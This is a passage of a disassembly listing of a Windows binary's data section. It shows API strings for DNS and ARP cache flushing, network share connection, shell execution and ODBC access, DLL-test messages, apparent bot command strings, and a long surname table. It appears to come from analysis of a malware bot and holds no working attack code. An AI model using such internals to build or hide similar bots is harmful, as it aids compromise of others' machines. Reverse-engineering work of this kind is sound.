aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_408F54:loc_409974o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_408F54+A2Do
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_408F54+A35o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_408F54:loc_4099BEo
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_408F54+A77o
		align 4
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_408F54+A7Fo
		align 4
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_408F54:loc_409A08o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_408F54+AC1o
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_408F54+AC9o
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_408F54+AD6o
		align 10h
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_408F54+AE3o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_408F54:loc_409A7Co
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_408F54+B35o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_408F54+B3Do
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_408F54:loc_409AC6o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_408F54+B7Fo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_408F54+B87o
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_408F54+B94o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_408F54+BA1o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_408F54+BAEo
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_408F54+BBBo
		align 4
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+28o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+5Co
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+90o
		align 4
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+C4o
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+F8o
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+12Co
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+160o
		align 4
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+194o
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+1C8o
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+1FCo
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+230o
		align 10h
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+264o
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+298o
unk_4452B4	db  2Dh	; -		; DATA XREF: sub_409B6C+2BEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
a__7:					; DATA XREF: .nsp0:00409E98o
		unicode	0, <.>,0
a__8:					; DATA XREF: .nsp0:00409EB0o
		unicode	0, <.>,0
unk_4452DC	db  2Dh	; -		; DATA XREF: sub_409F35+8Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
unk_445308	db  2Dh	; -		; DATA XREF: sub_409F35:loc_409FC8o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_445338	db  2Dh	; -		; DATA XREF: sub_409F35:loc_409F8Eo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
byte_445345	db 3, 2Dh, 20h		; DATA XREF: .nsp0:00452198o
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_44535C	db  2Dh	; -		; DATA XREF: sub_409F35:loc_409FFAo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_44538C	db  2Dh	; -		; DATA XREF: sub_409F35+43o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGetting_0	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40A019+46o
		align 8
aReal		db 'real',0
		align 10h
		dd 0
dword_4453D4	dd 0			; DATA XREF: sub_40A4F6+7o
off_4453D8	dd offset sub_40A112	; DATA XREF: sub_40A4F6+49r
aConst		db 'const',0
		align 8
		dd 1, 40A17Eh, 7474656Ch, 7265h, 0
		dd 2, 40A1DCh, 706D6F63h, 2 dup(0)
		dd 3, 40A229h, 6E756F63h, 797274h, 0
		dd 4, 40A2CFh, 736Fh, 2	dup(0)
		dd 5, 40A344h
off_445440	dd offset aAbdulrazak	; DATA XREF: sub_40A112+20r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_44544C	dd offset aAddison	; DATA XREF: sub_40A4F6+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison_0	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner_0	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook_0	; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer_0	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
off_445750	dd offset aCastelda	; DATA XREF: .nsp0:off_44B628o
					; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles_0	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton_0	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField_0	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield_0	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson_0	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood_0	; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker_0	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry_0	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
